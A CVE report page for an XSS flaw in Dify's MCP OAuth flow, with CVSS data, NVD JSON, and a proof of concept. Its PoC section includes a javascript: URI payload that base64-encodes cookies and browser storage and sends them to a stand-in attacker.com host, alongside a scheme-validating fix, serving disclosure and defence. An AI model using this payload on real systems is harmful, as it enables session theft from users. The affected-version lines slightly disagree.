Security Vulnerability Report
中文
CVE-2025-58747 CVSS 6.1 MEDIUM

CVE-2025-58747

Published: 2025-10-17 16:15:39
Last Modified: 2025-10-29 19:16:27

Description

Dify is an LLM application development platform. In Dify versions through 1.9.1, the MCP OAuth component is vulnerable to cross-site scripting when a victim connects to an attacker-controlled remote MCP server. The vulnerability exists in the OAuth flow implementation where the authorization_url provided by a remote MCP server is directly passed to window.open without validation or sanitization. An attacker can craft a malicious MCP server that returns a JavaScript URI (such as javascript:alert(1)) in the authorization_url field, which is then executed when the victim attempts to connect to the MCP server. This allows the attacker to execute arbitrary JavaScript in the context of the Dify application.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:langgenius:dify:*:*:*:*:*:node.js:*:* - VULNERABLE
Dify < 1.9.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58747 PoC - Dify MCP OAuth XSS # This PoC demonstrates the vulnerability in Dify's MCP OAuth component # where authorization_url from a remote MCP server is passed to window.open() # without validation, allowing JavaScript URI injection. # Step 1: Set up a malicious MCP server that returns a crafted OAuth response # The malicious server returns a javascript: URI in the authorization_url field malicious_oauth_response = { "authorization_url": "javascript:alert(document.cookie)//", "state": "valid_state_token", "client_id": "malicious_client" } # Step 2: Vulnerable code in Dify (simplified representation) # The following pseudo-code shows how the vulnerability exists: """ // Vulnerable implementation in Dify frontend async function connectToMCPServer(serverUrl) { const response = await fetch(`${serverUrl}/oauth/authorize`); const data = await response.json(); // VULNERABILITY: No validation of authorization_url scheme window.open(data.authorization_url, '_blank'); } """ # Step 3: More dangerous payload that could exfiltrate data # When a victim clicks "Connect" on the attacker-controlled MCP server, # the following JavaScript executes in Dify's context: malicious_payload = """ javascript:void((function(){ var cookies = document.cookie; var localData = JSON.stringify(localStorage); var sessionData = JSON.stringify(sessionStorage); // Exfiltrate data to attacker's server var img = new Image(); img.src = 'https://attacker.com/steal?c=' + btoa(cookies) + '&l=' + btoa(localData) + '&s=' + btoa(sessionData); })())// """ # Step 4: Secure implementation (fix) """ // Fixed implementation with URL validation async function connectToMCPServer(serverUrl) { const response = await fetch(`${serverUrl}/oauth/authorize`); const data = await response.json(); // Validate the URL scheme try { const url = new URL(data.authorization_url); if (url.protocol !== 'https:' && url.protocol !== 'http:') { throw new Error('Invalid URL scheme'); } window.open(data.authorization_url, '_blank'); } catch (e) { console.error('Invalid authorization URL:', e); } } """ print("PoC for CVE-2025-58747: Dify MCP OAuth XSS via javascript: URI injection")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58747", "sourceIdentifier": "[email protected]", "published": "2025-10-17T16:15:38.620", "lastModified": "2025-10-29T19:16:27.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dify is an LLM application development platform. In Dify versions through 1.9.1, the MCP OAuth component is vulnerable to cross-site scripting when a victim connects to an attacker-controlled remote MCP server. The vulnerability exists in the OAuth flow implementation where the authorization_url provided by a remote MCP server is directly passed to window.open without validation or sanitization. An attacker can craft a malicious MCP server that returns a JavaScript URI (such as javascript:alert(1)) in the authorization_url field, which is then executed when the victim attempts to connect to the MCP server. This allows the attacker to execute arbitrary JavaScript in the context of the Dify application."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langgenius:dify:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.9.2", "matchCriteriaId": "0F5734F6-3392-4A7E-B5DC-D1B39DBAFF98"}]}]}], "references": [{"url": "https://github.com/langgenius/dify/commit/bfda4ce7e6f39d43a4420e97e23a18edcfe3e3d3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/langgenius/dify/security/advisories/GHSA-9jch-j9qf-vqfw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}